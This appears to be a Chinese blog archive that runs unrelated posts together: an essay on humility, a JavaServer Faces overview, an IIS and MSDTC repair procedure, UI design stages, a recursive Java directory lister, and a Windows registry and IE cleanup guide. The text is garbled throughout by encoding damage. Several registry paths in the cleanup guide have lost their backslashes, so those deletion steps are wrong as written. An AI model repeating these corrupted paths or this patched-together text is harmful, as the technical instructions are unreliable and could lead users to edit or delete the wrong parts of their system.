??????? 謙虛有很多種,真正的謙虛,不是誰(shuí)都有資格享有它的.
??????? 胸?zé)o大志的人,即使極誠(chéng)懇地說(shuō):“我這人沒(méi)什么志向?!边@不叫謙虛,只能叫坦率,這種坦率有時(shí)讓人覺(jué)著是在嘆息;毫無(wú)才學(xué)的人,即使極認(rèn)真地說(shuō):“我這人沒(méi)什么本事。”這不叫謙虛,只能叫實(shí)在,這種實(shí)在有時(shí)讓人覺(jué)著是在自責(zé);主席臺(tái)上,正式發(fā)言之前來(lái)一句:“我水平有限?!边@不叫謙虛,只能叫客套,這種客套給人感覺(jué)是一種身份的炫耀;辯論場(chǎng)上,笑應(yīng)對(duì)手一句:“我的意見(jiàn)可能不太成熟?!边@不叫謙虛,只能叫挑戰(zhàn),這種挑戰(zhàn)是一種以退為進(jìn)的宣示:機(jī)遇面前猶豫不決、左右為難地囁嚅:“我不知道該怎么辦?!边@不叫謙虛,只能叫哀鳴,這種哀鳴除了顯示無(wú)能力以外,便是在患得患失間不知所措;困境之中難做決斷,跌倒后爬起亂了方寸:“看來(lái)我是真的頂不住了?!边@不叫謙虛,只能叫無(wú)奈,這種無(wú)奈表明了窮途末路的到來(lái)。
謙虛需要一種底氣來(lái)支撐。
聰慧是智者的底氣。智者的聰慧在于能從聰慧中看到局限和缺欠,他的和氣中透出低調(diào),和顏中多有雅量。
善良是仁者的底氣。仁者的善良是能容下無(wú)端的傷害和淺陋的狂妄,他的謙卑融于忍耐之中,他的虛懷嵌入慈悲之間。
博大是強(qiáng)者的底氣。強(qiáng)者的博大是能讓對(duì)手心悅誠(chéng)服地?fù)泶骱颓椴蛔越鼐囱觥?/span>
謙虛的人,因?yàn)榭吹猛福圆辉?;因?yàn)橄氲眠h(yuǎn),所以不妄;因?yàn)檎镜酶撸圆话?;因?yàn)樾械谜?,所以不懼?/span>
這樣的人,才稱(chēng)得上是謙虛的人。
??????? 以上內(nèi)容出自《涉世之初》
JavaServer Faces (JSF) 是一種用于構(gòu)建 Web 應(yīng)用程序的新標(biāo)準(zhǔn) Java 框架。它提供了一種以組件為中心來(lái)開(kāi)發(fā) Java Web 用戶(hù)界面的方法,從而簡(jiǎn)化了開(kāi)發(fā)。JavaServer Faces 還引起了廣大 Java/Web 開(kāi)發(fā)人員的興趣?!捌髽I(yè)開(kāi)發(fā)人員”和 Web 設(shè)計(jì)人員將發(fā)現(xiàn) JSF 開(kāi)發(fā)可以簡(jiǎn)單到只需將用戶(hù)界面 (UI) 組件拖放到頁(yè)面上,而“系統(tǒng)開(kāi)發(fā)人員”將發(fā)現(xiàn)豐富而強(qiáng)健的 JSF API 為他們提供了無(wú)與倫比的功能和編程靈活性。JSF 還通過(guò)將良好構(gòu)建的模型-視圖-控制器 (MVC) 設(shè)計(jì)模式集成到它的體系結(jié)構(gòu)中,確保了應(yīng)用程序具有更高的可維護(hù)性。最后,由于 JSF 是通過(guò) Java Community Process (JCP) 開(kāi)發(fā)的一種 Java 標(biāo)準(zhǔn),因此開(kāi)發(fā)工具供應(yīng)商完全能夠?yàn)?JavaServer Faces 提供易于使用的、高效的可視化開(kāi)發(fā)環(huán)境。
JSF 的主要優(yōu)勢(shì)之一就是它既是 Java Web 用戶(hù)界面標(biāo)準(zhǔn)又是嚴(yán)格遵循模型-視圖-控制器 (MVC) 設(shè)計(jì)模式的框架。用戶(hù)界面代碼(視圖)與應(yīng)用程序數(shù)據(jù)和邏輯(模型)的清晰分離使 JSF 應(yīng)用程序更易于管理。為了準(zhǔn)備提供頁(yè)面對(duì)應(yīng)用程序數(shù)據(jù)訪問(wèn)的 JSF 上下文和防止對(duì)頁(yè)面未授權(quán)或不正確的訪問(wèn),所有與應(yīng)用程序的用戶(hù)交互均由一個(gè)前端“Faces”servlet(控制器)來(lái)處理。
圖 1:JavaServer Faces 的 MVC 實(shí)現(xiàn)
Faces Controller servlet 充當(dāng)用戶(hù)和 JSF 應(yīng)用程序之間的紐帶。它在明確限定的 JSF 生命周期(規(guī)定了用戶(hù)請(qǐng)求之間的整個(gè)事件流)的范圍內(nèi)工作。例如,一收到訪問(wèn) JSF 應(yīng)用程序的初始 Web 請(qǐng)求,F(xiàn)aces Controller servlet 便通過(guò)首先準(zhǔn)備 JSF 上下文(存放所有應(yīng)用程序數(shù)據(jù)的一個(gè) Java 對(duì)象)來(lái)處理請(qǐng)求。然后控制器把用戶(hù)指引到所請(qǐng)求的頁(yè)面。該頁(yè)面通常使用簡(jiǎn)單的表達(dá)式語(yǔ)言來(lái)處理來(lái)自 JSF 上下文的應(yīng)用程序數(shù)據(jù)。一收到后續(xù)請(qǐng)求,控制器就更新所有模型數(shù)據(jù)(假設(shè)輸入了新數(shù)據(jù))。JSF 開(kāi)發(fā)人員可以通過(guò)編程的方式在應(yīng)用程序運(yùn)行期間隨時(shí)訪問(wèn)整個(gè) JSF 生命周期,從而可以隨時(shí)對(duì)應(yīng)用程序的行為進(jìn)行高度控制。
JavaServer Faces 的真正威力在于它的用戶(hù)界面組件模型。在該模型中,應(yīng)用程序完全用組件集合構(gòu)建,這些組件可以針對(duì)多種客戶(hù)端類(lèi)型用不同的方式來(lái)進(jìn)行顯示。與其他專(zhuān)有技術(shù)(如 ASP.Net)有點(diǎn)類(lèi)似,JSF 的 UI 組件模型技術(shù)使開(kāi)發(fā)人員能夠使用預(yù)先構(gòu)建的用戶(hù)界面 (UI) 組件來(lái)構(gòu)建 Web 用戶(hù)界面(而非完全從頭構(gòu)建用戶(hù)界面),從而提供了前所未有的開(kāi)發(fā)效率。JSF UI 組件有多種形式,可以簡(jiǎn)單到只是顯示文本的 outputLabel,或者復(fù)雜到可以表示來(lái)自數(shù)據(jù)集合(如數(shù)據(jù)庫(kù)表)的表格化數(shù)據(jù)的 dataTable。
JavaServer Faces 規(guī)范在其參考實(shí)施中提供了一組基本 UI 組件,這些組件本身是非常有用的。它們包括兩個(gè)組件庫(kù),即“HTML”組件庫(kù) — 它大部分映射了標(biāo)準(zhǔn)的 HTML 輸入元素;以及“核心”庫(kù) — 它輔助常見(jiàn)的應(yīng)用程序開(kāi)發(fā)任務(wù)(如,國(guó)際化和驗(yàn)證/轉(zhuǎn)換輸入數(shù)據(jù))。除了提供一個(gè)基本 UI 組件庫(kù)之外,JSF API 還提供了擴(kuò)展和創(chuàng)建定制 JSF UI 組件的功能,從而在基本組件之上提供更多功能。
由于 JSF API 的豐富性和靈活性,許多 Java 開(kāi)發(fā)人員開(kāi)始創(chuàng)建新的 JSF 組件庫(kù)和實(shí)現(xiàn)。Oracle 的 ADF Faces 是一個(gè)完全符合 JSF 規(guī)范的組件庫(kù),它為 JSF 應(yīng)用程序開(kāi)發(fā)提供了一組廣泛的增強(qiáng) UI 組件。這些組件包括針對(duì)每種客戶(hù)端類(lèi)型的多種呈現(xiàn)器、高級(jí)表格、顏色和日期選擇器以及大量通用組件(如菜單、命令按鈕、轉(zhuǎn)移選擇器和進(jìn)度指示計(jì))。
圖 2:Oracle 的 ADF Faces JSF UI 組件
除了 Oracle 的 ADF Faces 之外,還有其他新的 JSF 組件庫(kù)開(kāi)始從開(kāi)放源代碼社區(qū)和軟件供應(yīng)商社區(qū)中出現(xiàn)。MyFaces 就是一個(gè)新 JSF UI 組件庫(kù)的例子,它通過(guò) Apache 作為一個(gè)開(kāi)放源代碼項(xiàng)目提供的。Myfaces 還是對(duì) JSF 基本 UI 組件的增強(qiáng),它擁有更廣泛的 UI 功能,如集成的 Tiles 支持、支持 Javascript 的菜單和樹(shù)控件。
圖 3:開(kāi)放源代碼的 MyFaces 實(shí)現(xiàn)和 UI 組件庫(kù)
JSF UI 組件技術(shù)最引人注目一個(gè)方面就是它的可插入呈現(xiàn)功能。JSF UI 組件能夠根據(jù)查看組件的客戶(hù)端的類(lèi)型來(lái)以不同方式呈現(xiàn)自身。例如,HTML 瀏覽器將看到特定 UI 組件的“HTML 瀏覽器友好”版本,而支持無(wú)線或 WAP 的微型設(shè)備將看到同一 UI 組件的“WML 友好”版本!JSF 通過(guò)解除 UI 組件與其呈現(xiàn)邏輯之間的耦合從而能夠?yàn)橥?UI 組件創(chuàng)建多個(gè)呈現(xiàn)器實(shí)現(xiàn)了這一功能。不同的呈現(xiàn)器可以與 UI 組件相關(guān)聯(lián),在運(yùn)行時(shí) UI 組件可以根據(jù)請(qǐng)求的客戶(hù)端類(lèi)型決定使用哪個(gè)呈現(xiàn)器。
圖 5:一個(gè) ADF Faces 表格組件針對(duì)無(wú)線客戶(hù)端和 HTML 客戶(hù)端進(jìn)行了不同的呈現(xiàn)
還應(yīng)當(dāng)指出的是,由于 JSF 的可插入呈現(xiàn)功能,使得 JSF UI 組件能夠顯示任何類(lèi)型的數(shù)據(jù),無(wú)論它是標(biāo)記數(shù)據(jù)(如 HTML、XML、WML 等)還是二進(jìn)制數(shù)據(jù)。例如,UI 組件還可以顯示二進(jìn)制數(shù)據(jù),如圖像流或不同的文檔類(lèi)型,如 SVG、PDF 和 Word。
隨著 JSF 開(kāi)發(fā)人員和擁護(hù)者社區(qū)的不斷壯大,現(xiàn)在有幾個(gè)網(wǎng)站致力于進(jìn)一步推動(dòng)獨(dú)立的 JSF 開(kāi)發(fā)。JSFCentral 就是一個(gè)完全為 JSF 開(kāi)發(fā)社區(qū)服務(wù)的新網(wǎng)站。它包含 JSF 技術(shù)信息、產(chǎn)品/組件信息以及大量與 JSF 相關(guān)的文章。
圖 4:JSFCentral — 一個(gè)免費(fèi)的 Javaserver Faces 社區(qū)
因?yàn)?JavaServer Faces 是一種標(biāo)準(zhǔn)的 Java 技術(shù),因此軟件開(kāi)發(fā)工具完全能夠?yàn)?JavaServer Faces 提供高級(jí)的集成開(kāi)發(fā)工具支持。多個(gè)供應(yīng)商現(xiàn)在不同程度地支持 JSF 開(kāi)發(fā),這大大提高了 JSF 的易用性和功能。Oracle、Sun、Borland 和 IBM 都為 JavaServer Faces 提供了開(kāi)發(fā)環(huán)境。由于開(kāi)發(fā)工具供應(yīng)商在競(jìng)相提供更好、更簡(jiǎn)單和更多的開(kāi)發(fā)環(huán)境,因此基于 IDE 的 JSF 開(kāi)發(fā)擁有美好的前景!
圖 6:Oracle 的 JDeveloper 提供高效、可視化的 JSF 開(kāi)發(fā)體驗(yàn)
JavaServer Faces 通過(guò)提供模型-視圖-控制器設(shè)計(jì)模式的一個(gè)簡(jiǎn)潔實(shí)現(xiàn),同時(shí)在不犧牲開(kāi)發(fā)能力和靈活性的前提下提供高效的以組件為中心的開(kāi)發(fā),解決了 Java Web 開(kāi)發(fā)的許多歷史問(wèn)題。此外,因?yàn)?JSF 是一種 Java 標(biāo)準(zhǔn),因此多個(gè)軟件供應(yīng)商將繼續(xù)提供始終高效的開(kāi)發(fā)環(huán)境,這些開(kāi)發(fā)環(huán)境毫無(wú)疑問(wèn)將達(dá)到或很可能超過(guò)專(zhuān)有的可視化開(kāi)發(fā)環(huán)境。請(qǐng)繼續(xù)關(guān)注!
???????? Java最引以為傲的特性就是跨平臺(tái)。基于Java的桌面軟件以其一處編譯、到處運(yùn)行的優(yōu)勢(shì)橫掃企業(yè)桌面軟件市場(chǎng)。目前有很多跨平臺(tái)的軟件都是基于Java的,如JBuilder、Oracle的管理前端,Eclipse等。這些軟件都在各自的領(lǐng)域起著舉足輕重的作用。然而好景不長(zhǎng)。Web這個(gè)老牌技術(shù)換上了AJAX這件金履玉衣后又殺了回來(lái)。而搜索引擎的老大Google將AJAX這種技術(shù)用得淋漓盡致,如Google Map、Google Office等。從種種跡象可以看出,AJAX技術(shù)正是Java桌面技術(shù)的最大敵人,那么誰(shuí)能取得最后的勝利呢?
錯(cuò)誤提示:Server Application Error The server has encountered an error
while loading an application during the processing of your request. Please refer to the event log for
more detail information. Please contact the server administrator for assistance.
解決方法如下:
1。右鍵我的電腦--管理--本地用戶(hù)和組,給IUSR_機(jī)器名和IWAM_機(jī)器名兩個(gè)用戶(hù)設(shè)置密碼,要一樣。
2。開(kāi)始--運(yùn)行--輸入cmd,
然后cd c:\Inetpub\AdminScripts
然后cscript.exe adsutil.vbs set w3svc/wamuserpass 你的密碼,
然后cscript.exe adsutil.vbs set w3svc/anonymoususerpass 你的密碼
看一下,行了沒(méi)有?如果還不行,那么
cscript.exe synciwam.vbs -v,
然后iisreset
Server Application Error續(xù),8004EOOF錯(cuò)誤
發(fā)現(xiàn)運(yùn)行C:\Inetpub\AdminScripts\synciwam.vbs時(shí)報(bào)8004EOOF錯(cuò)誤,暈死,網(wǎng)上搜索了下,發(fā)現(xiàn)是
MSDTC的問(wèn)題: msdtc服務(wù)沒(méi)有正常啟動(dòng)。 找到原因就好辦啦^_^
Step1 刪除注冊(cè)表中的鍵:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC
HKEY_CLASSES_ROOT\CID
Step2 :
停止MSDTC服務(wù):net stop msdtc
Step3 卸載MSDTC服務(wù):
msdtc -uninstall
Step4 重新安裝MSDTC服務(wù):
msdtc -install
然后再按照原來(lái)的解決Server Application Error的方法就可以了~o yeah
???????? UI的本意是User Interface也就是用戶(hù)與界面的關(guān)系。他包括交互設(shè)計(jì),用戶(hù)研究,與界面設(shè)計(jì)三個(gè)部分。
一個(gè)通用消費(fèi)類(lèi)軟件界面的設(shè)計(jì)大體可分為五個(gè)步驟:
1.需求階段
2.分析設(shè)計(jì)階段
3.調(diào)研驗(yàn)證階段
4.方案改進(jìn)階段
5.用戶(hù)驗(yàn)證反饋階段
需求階段
???????? 軟件產(chǎn)品依然屬于工業(yè)產(chǎn)品的范疇。依然離不開(kāi)3W的考慮(Who,where,why.)也就是使用者,使用環(huán)境,使用方式的需求分析。所以在設(shè)計(jì)一個(gè)軟件產(chǎn)品之前我們應(yīng)該明確什么人用(用戶(hù)的年齡,性別,愛(ài)好,收入,教育程度等)。什么地方用(在辦公室/家庭/廠房車(chē)間/公共場(chǎng)所)。如何用(鼠標(biāo)鍵盤(pán)/遙控器/觸摸屏)。上面的任何一個(gè)元素改變結(jié)果都會(huì)有相應(yīng)的改變。
??????? 除此之外在需求階段同類(lèi)競(jìng)爭(zhēng)產(chǎn)品也是我們必須了解的。同類(lèi)產(chǎn)品比我們提前問(wèn)世,我們要比他作的更好才有存在的價(jià)值。那么單純的從界面美學(xué)考慮說(shuō)哪個(gè)好哪個(gè)不好是沒(méi)有一個(gè)很客觀的評(píng)價(jià)標(biāo)準(zhǔn)的。我們只能說(shuō)哪個(gè)更合適,更合適于我們的最終用戶(hù)的就是最好的。如何判定最合適于用戶(hù)呢,后面我會(huì)介紹用戶(hù)調(diào)研。
分析設(shè)計(jì)階段
????????? 通過(guò)分析上面的需求,我們進(jìn)入設(shè)計(jì)階段。也就是方案形成階段。我們?cè)O(shè)計(jì)出幾套不同風(fēng)格的界面用于被選。首先我們應(yīng)該制作一個(gè)體現(xiàn)用戶(hù)定位的詞語(yǔ)坐標(biāo)。例如我們?yōu)?5歲左右的白領(lǐng)男性制作家居娛樂(lè)軟件。對(duì)于這類(lèi)用戶(hù)我們分析得到的詞匯有:品質(zhì),精美,高檔,高雅,男性,時(shí)尚,cool,,個(gè)性,親和,放松等。分析這些詞匯的時(shí)候我們會(huì)發(fā)現(xiàn)有些詞是絕對(duì)必須體現(xiàn)的,例如:品質(zhì),精美,高檔,時(shí)尚。但有些詞是相互矛盾的,必須放棄一些,例如:親和,放松與cool,個(gè)性與等。所以我們畫(huà)出一個(gè)坐標(biāo),上面是我們必須用的品質(zhì),精美,高檔,時(shí)尚。左邊是貼近用戶(hù)心理的詞匯:親和,放松,人性化。右邊是體現(xiàn)用戶(hù)外在形象的詞匯:cool,個(gè)性,工業(yè)化。然后我們開(kāi)始搜集相呼應(yīng)的圖片,放在坐標(biāo)的不同點(diǎn)上。這樣根據(jù)不同作標(biāo)點(diǎn)的風(fēng)格,我們?cè)O(shè)計(jì)出數(shù)套不同風(fēng)格的面。
調(diào)研驗(yàn)證階段
???????? 幾套風(fēng)格必須保證在同等的設(shè)計(jì)制作水平上,不能明顯看出差異,這樣才能得到用戶(hù)客觀的反饋。
??????? 測(cè)試階段開(kāi)始前我們應(yīng)該對(duì)測(cè)試的具體細(xì)節(jié)進(jìn)行清楚的分析描述。
例如:
數(shù)據(jù)收集方式:廳堂測(cè)試/模擬家居/辦公室。
測(cè)試時(shí)間:X年X月X日X日。
測(cè)試區(qū)域:北京、廣州、天津。
測(cè)試對(duì)象。某消費(fèi)軟件界定市場(chǎng)用戶(hù)。
主要特征為:
·對(duì)電腦的硬件配置以及相關(guān)的性能指標(biāo)比較了解,電腦應(yīng)用水平較高;
·電腦使用經(jīng)歷一年以上;
·家庭購(gòu)買(mǎi)電腦時(shí)品牌和機(jī)型的主要決策者
·年齡:X-X歲;
·年齡在X歲以上的被訪者文化程度為大專(zhuān)及以上;
·個(gè)人月收入X以上或家庭月收入X元及以上;
·樣品
·五套軟件界面
·樣本量:X個(gè),實(shí)際完成X個(gè)。
調(diào)研階段需要從以下幾個(gè)問(wèn)題出發(fā):
· 用戶(hù)對(duì)各套方案的第一印象
· 用戶(hù)對(duì)各套方案的綜合印象
· 用戶(hù)對(duì)各套方案的單獨(dú)評(píng)價(jià)
· 選出最喜歡的
· 選出其次喜歡的
· 對(duì)各方案的色彩,文字,圖形等分別打分。
· 結(jié)論出來(lái)以后請(qǐng)所有用戶(hù)說(shuō)出最受歡迎方案的優(yōu)缺點(diǎn)。
所有這些都需要用圖形表達(dá)出來(lái),直觀科學(xué)。
方案改進(jìn)階段
經(jīng)過(guò)用戶(hù)調(diào)研,我們得到目標(biāo)用戶(hù)最喜歡的方案。而且了解到用戶(hù)為什么喜歡,還有什么遺憾等,這樣我們就可以進(jìn)行下一步修改了。這時(shí)候我們可以把精力投入到一個(gè)方案上(這里指不能換皮膚的應(yīng)用軟件或游戲的界面)將方案做到細(xì)致精美。
用戶(hù)驗(yàn)證階段
改正以后的方案,我們可以將他推向市場(chǎng)。但是設(shè)計(jì)并沒(méi)有結(jié)束。我們還需要用戶(hù)反饋,好的設(shè)計(jì)師應(yīng)該在產(chǎn)品上市以后去站柜臺(tái)。零距離接觸最終用戶(hù),看看用戶(hù)真正使用時(shí)的感想。為以后的升級(jí)版本積累經(jīng)驗(yàn)資料。
//用遞歸算法列出某個(gè)目錄下的所有子目錄和文件
import java.io.*;
class DiGuiGetDir
{
static void getDir(String strPath) throws Exception
{
?? try
?? {
??? File f=new File(strPath);
??? if(f.isDirectory())
??? {
???? File[] fList=f.listFiles();
???? for(int j=0;j<fList.length;j++)
???? {
????? if(fList[j].isDirectory())
????? {
?????? System.out.println(fList[j].getPath());
?????? getDir(fList[j].getPath()); //在getDir函數(shù)里面又調(diào)用了getDir函數(shù)本身
????? }
???? }
???? for(int j=0;j<fList.length;j++)
???? {
????? if(fList[j].isFile())
????? {
?????? System.out.println(fList[j].getPath());
????? }
???? }
??? }
?? }
?? catch(Exception e)
?? {
??? System.out.println("Error: " + e);
?? }
}
public static void main(String[] args)
{
?? String strPath="d:\\Download";
?? System.out.println(strPath);
?? try
?? {
??? getDir(strPath);
?? }
?? catch(Exception e)
?? {
?? }
}
}
??????? 音樂(lè)播放器,TTPlayer一直都是我的首選,感覺(jué)很好.Vista推出后,網(wǎng)絡(luò)上掀起一股Vista熱潮,各種軟件紛紛推出Vists版的,先是QQ,接著是Windows 優(yōu)化大師,現(xiàn)在千千也推出Vista皮膚版的了.這款確實(shí)做得不錯(cuò)啊,我喜歡~~~
???? 提起電腦的清理工作,大家都很熟悉吧!不過(guò),很多朋友在對(duì)清理的認(rèn)識(shí)上還有一定的局限性,更多的是集中在刪除一些windows自身生成的垃圾文件等方面;實(shí)際上還有一些另類(lèi)的垃圾,比如:軟件在右鍵菜單中的項(xiàng)目;IE右鍵菜單、工具欄圖標(biāo)、收藏夾中的無(wú)用項(xiàng)目;失效的快捷方式等。它們的存在,不僅浪費(fèi)了我們寶貴的硬盤(pán)空間,還會(huì)給病毒留下可乘之機(jī)。所以及時(shí)地給電腦來(lái)個(gè)大清理是很有必要的。
一、 資源管理器的右鍵菜單
1、刪除右鍵菜單中的多余項(xiàng)
大家都知道,許多軟件在安裝時(shí),首先要把自身的安裝文件解壓縮到一個(gè)臨時(shí)目錄(一般為 Windows文件夾下的Temp目錄),如WinZip等工具,然后再進(jìn)行安裝。如果軟件設(shè)計(jì)有疏忽或者系統(tǒng)有問(wèn)題,當(dāng)安裝結(jié)束后,這些臨時(shí)文件就會(huì)變得并不“臨時(shí)”,成為硬盤(pán)里的一堆垃圾,往往它們是以*.tmp的面孔出現(xiàn)的;在軟件的運(yùn)行過(guò)程中通常會(huì)產(chǎn)生一些臨時(shí)交換文件,比如一些程序工作時(shí)產(chǎn)生的形如*.old、*.bak這樣的備份文件,殺毒軟件或系統(tǒng)軟件檢查硬盤(pán)時(shí)生成的備份文件等;而軟件被卸載后,也會(huì)在硬盤(pán)中留下一些文件夾、*.dll文件、*.hlp文件和注冊(cè)表鍵值以及形形色色不知名的小東西,成為貨真價(jià)實(shí)的垃圾。事實(shí)上我們正常卸載某個(gè)應(yīng)用程序后,右鍵菜單中也會(huì)遺留下一些不再需要的項(xiàng)目,同樣需要將其刪除。這些遺留項(xiàng)目一般都存放在“HKEY_CLASSES_ROOT\*shellexContextMenuHandlers”;如果是只對(duì)文件夾有效的項(xiàng)目,則存放在“HKEY_CLASSES_ROOTDirectoryshell”和“HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers”,有時(shí)在“HKEY_CLASSES_ROOTFoldershell”和“HKEY_CLASSES_ROOTFoldershellexContextMenuHandlers”也有,找到后將他們刪除即可。
另外,利用注冊(cè)表的查找功能也可以去掉卸載后的遺留文件,在注冊(cè)表中查找與軟件有關(guān)的鍵值,找到并刪除,可能有多個(gè),這時(shí)你可以用F3快捷鍵繼續(xù)查找,直到所有的項(xiàng)目全被刪除。
(提示:在進(jìn)行任何注冊(cè)表刪除操作前,都要在注冊(cè)表編輯器中對(duì)要?jiǎng)h除的項(xiàng)進(jìn)行導(dǎo)出操作。)
2、利用ShellExView清理
在注冊(cè)表中手工刪除不需要的右鍵菜單項(xiàng),很方便,但一定要對(duì)刪除的項(xiàng)進(jìn)行導(dǎo)出操作,防止出錯(cuò)!許多朋友會(huì)認(rèn)為有些麻煩,在這里向大家推薦使用ShellExView免費(fèi)軟件來(lái)完成以上的任務(wù),它是一款能夠顯示并控制所有安裝到系統(tǒng)的Windows外殼擴(kuò)展,比如:右鍵菜單、用鼠標(biāo)右鍵托放文件或文件夾松開(kāi)按鍵后彈出菜單等的小工具。
下載后可以將壓縮包解壓縮至任意文件夾,比如“C: ShellExView”,運(yùn)行其中的“Shexview.exe”即可啟動(dòng)程序。如果你想把以前安裝的Real Player軟件在右鍵菜單中的項(xiàng)目去掉,可在“Filename”列下找到并選中“C:Program FilesRealRealOne Playerrpshellsearch.dll”項(xiàng)(通過(guò)文件名來(lái)查找,也可通過(guò)“Description”(描述)、“Extension Name”(擴(kuò)展名稱(chēng))等條件來(lái)查找),右擊后選擇“Disable Selected Items”(禁用所選項(xiàng)目),這樣Real Player軟件在右鍵菜單中的項(xiàng)目就都消失了,如果再次選擇“Enable Selected Items”(啟用所選項(xiàng)目)可以進(jìn)行恢復(fù)。
另外,利用ShellExView,還可以在“我的電腦”和桌面上添加或刪除特定文件夾(打印機(jī)、回收站、計(jì)劃任務(wù)、網(wǎng)絡(luò)連接等),比如在列表中選中“管理工具”,然后點(diǎn)擊“Files→Add Selected Items To...”(添加所選項(xiàng)目到),在下級(jí)子菜單中選擇“My Computer”。這樣就可以把“管理工具”添加到“我的電腦”中了。
軟件名稱(chēng):ShellExView、軟件版本:1.01、軟件大小:22KB、適用平臺(tái):Windows98/Me/2000/XP、下載地址:http://files.webattack.com/localdl834/shexview.zip
3、刪除“新建”子菜單中的選項(xiàng)
在單擊鼠標(biāo)右鍵所彈出的菜單中選擇“新建”子菜單,就會(huì)顯示出系統(tǒng)中已安裝應(yīng)用程序所對(duì)應(yīng)的新建文件。隨著系統(tǒng)中的應(yīng)用程序越來(lái)越多,“新建”子菜單中的內(nèi)容也會(huì)隨之增多??墒窃谟?jì)算機(jī)的日常使用中,用戶(hù)并不需要?jiǎng)?chuàng)建這么多類(lèi)型的文件。其實(shí)我們完全可以通過(guò)修改注冊(cè)表來(lái)刪除“新建”菜單中的選項(xiàng),而且操作并不復(fù)雜,只需啟動(dòng)注冊(cè)表編輯器,將[HKEY_CLASSES_ROOT\.***](“.***”是要?jiǎng)h除項(xiàng)目的文件擴(kuò)展名)下的“ShellNew”項(xiàng)刪除,然后退出注冊(cè)表編輯器并重新啟動(dòng)計(jì)算機(jī)即可。
我們以刪除“新建”子菜單中的“WinRAR壓縮文件”項(xiàng)為例;首先要找到[HKEY_LOCAL_MACHNESOFTWAREClasses\.rar],將其下的“ShellNew”項(xiàng)刪除,回到桌面,按下F5鍵刷新,接著再右擊桌面空白處,選擇“新建”,這時(shí)你就會(huì)發(fā)現(xiàn)原有的“WinRAR壓縮文件”已經(jīng)消失了。
4、刪除“打開(kāi)方式”子菜單中的無(wú)用項(xiàng)
右擊某個(gè)文件,有可能在右鍵菜單的“打開(kāi)方式”子菜單中有些我們并不需要的程序,“.TXT”文件的“打開(kāi)方式”中有三個(gè)程序,其實(shí)有些根本不會(huì)用到,這時(shí)只要到注冊(cè)表的[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts]和[HKEY_CLASSES_ROOTSystemFileAssociations]中找到相應(yīng)擴(kuò)展名項(xiàng),然后在“OpenWithList”子項(xiàng)中刪除不需要的鍵值或項(xiàng)即可。
我們以刪除文本文件右鍵菜單“打開(kāi)方式”子菜單中的無(wú)用項(xiàng)為例;進(jìn)入[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts\.txtOpenWithList]刪除右側(cè)窗格的相應(yīng)鍵值,再進(jìn)入[HKEY_CLASSES_ROOTSystemFileAssociationstextOpenWithList],刪除相應(yīng)子項(xiàng)即可。
二、 讓IE輕裝上陣
隨著網(wǎng)絡(luò)技術(shù)的不斷發(fā)展,通過(guò)網(wǎng)絡(luò)溝通和交流已成為許多人日常生活的一部分,然而IE中的不和諧因素總是令人傷透了腦筋。窗口標(biāo)題、默認(rèn)首頁(yè)被改得面目全非;右鍵菜單、工具欄、工具條被強(qiáng)行加入各種各樣亂七八糟的內(nèi)容等等,其實(shí)上面的這些情況,可以用3721上網(wǎng)助手全部解決。如果您的系統(tǒng)中沒(méi)有安裝的話,可在瀏覽器中打開(kāi)assistant.3721.com,將上網(wǎng)助手下載并安裝到系統(tǒng)中,安裝完畢后,建議重新啟動(dòng)一下系統(tǒng)再進(jìn)行下一步操作。
1、清理IE右鍵菜單
在瀏覽器打開(kāi)的網(wǎng)頁(yè)窗口中,右擊鼠標(biāo)時(shí),會(huì)彈出快捷菜單,從中,我們可以快速地進(jìn)行諸如文件下載、圖片保存等很多項(xiàng)操作。但是,現(xiàn)在很多程序只要安裝到系統(tǒng)中,便自作主張地在IE右鍵菜單中添加相關(guān)的項(xiàng)目。長(zhǎng)此以往,IE右鍵菜單不僅會(huì)變得很臃腫,而且會(huì)使彈出右鍵菜單的時(shí)間越來(lái)越長(zhǎng),影響系統(tǒng)的運(yùn)行。因此,清理不需要的右鍵菜單項(xiàng),十分有必要。
首先啟動(dòng)IE瀏覽器,然后單擊地址欄下面的“上網(wǎng)助手→修復(fù)IE→恢復(fù)IE外觀”,即可打開(kāi)窗口:要想清理IE右鍵菜單,我們只要窗口中選擇“清理IE右鍵菜單”選項(xiàng)卡,即可打開(kāi)新的窗口,中間的列表顯示了所有當(dāng)前IE右鍵菜單中的項(xiàng)目,如果想清除哪項(xiàng),只要用鼠標(biāo)選擇它,再單擊“立即清理”按鈕即可。
2、清理IE工具欄按鈕
清理IE工具欄按鈕的方法與此類(lèi)似。點(diǎn)擊“清理IE工具欄按鈕”,進(jìn)入功能頁(yè)面:
中間的列表顯示了IE工具欄上可以清除的按鈕。只需要點(diǎn)擊每項(xiàng)前面的復(fù)選框,然后點(diǎn)擊“立即清除”,即可去掉被選中的工具欄按鈕。
重新打開(kāi)一個(gè)IE窗口,可以看到被刪除的工具欄按鈕已經(jīng)消失了。
3、清理IE工具條
由于IE的靈活性,它的工具條也是可以隨意添加的,在很多的工具條都想放到IE上的情況下,IE越發(fā)變得擁擠不堪了。
另外,如果加載了超過(guò)3個(gè)以上的工具條,IE的啟動(dòng)速度就會(huì)有所降低。這是因?yàn)镮E在啟動(dòng)時(shí),會(huì)對(duì)需要加載的工具條進(jìn)行初始化,完成一些設(shè)置。當(dāng)只有1、2個(gè)工具條時(shí),我們不會(huì)有所感覺(jué)。而超過(guò)3個(gè)以上,速度就會(huì)明顯降低。另外如果工具條的內(nèi)容還需要從互聯(lián)網(wǎng)上即時(shí)下載下來(lái),那么這個(gè)延遲就更明顯。所以建議大家最多只加載2個(gè)工具條。
當(dāng)然,IE也提供了不加載工具條的功能。點(diǎn)擊菜單“查看→工具欄”,可以看到IE中已經(jīng)安裝的工具條,其中的“標(biāo)準(zhǔn)按鈕”、“地址欄”是最基本的,不應(yīng)該刪除。其他的像“鏈接”等,沒(méi)有多少用處,可以不用加載。方法是點(diǎn)擊該項(xiàng),其前面的“勾選”標(biāo)記消失,而該項(xiàng)代表的工具條,也不再在IE中顯示了。不過(guò)很顯然,由于每去掉一個(gè)工具條,就需要刷新一次IE,因此這種操作比較麻煩。
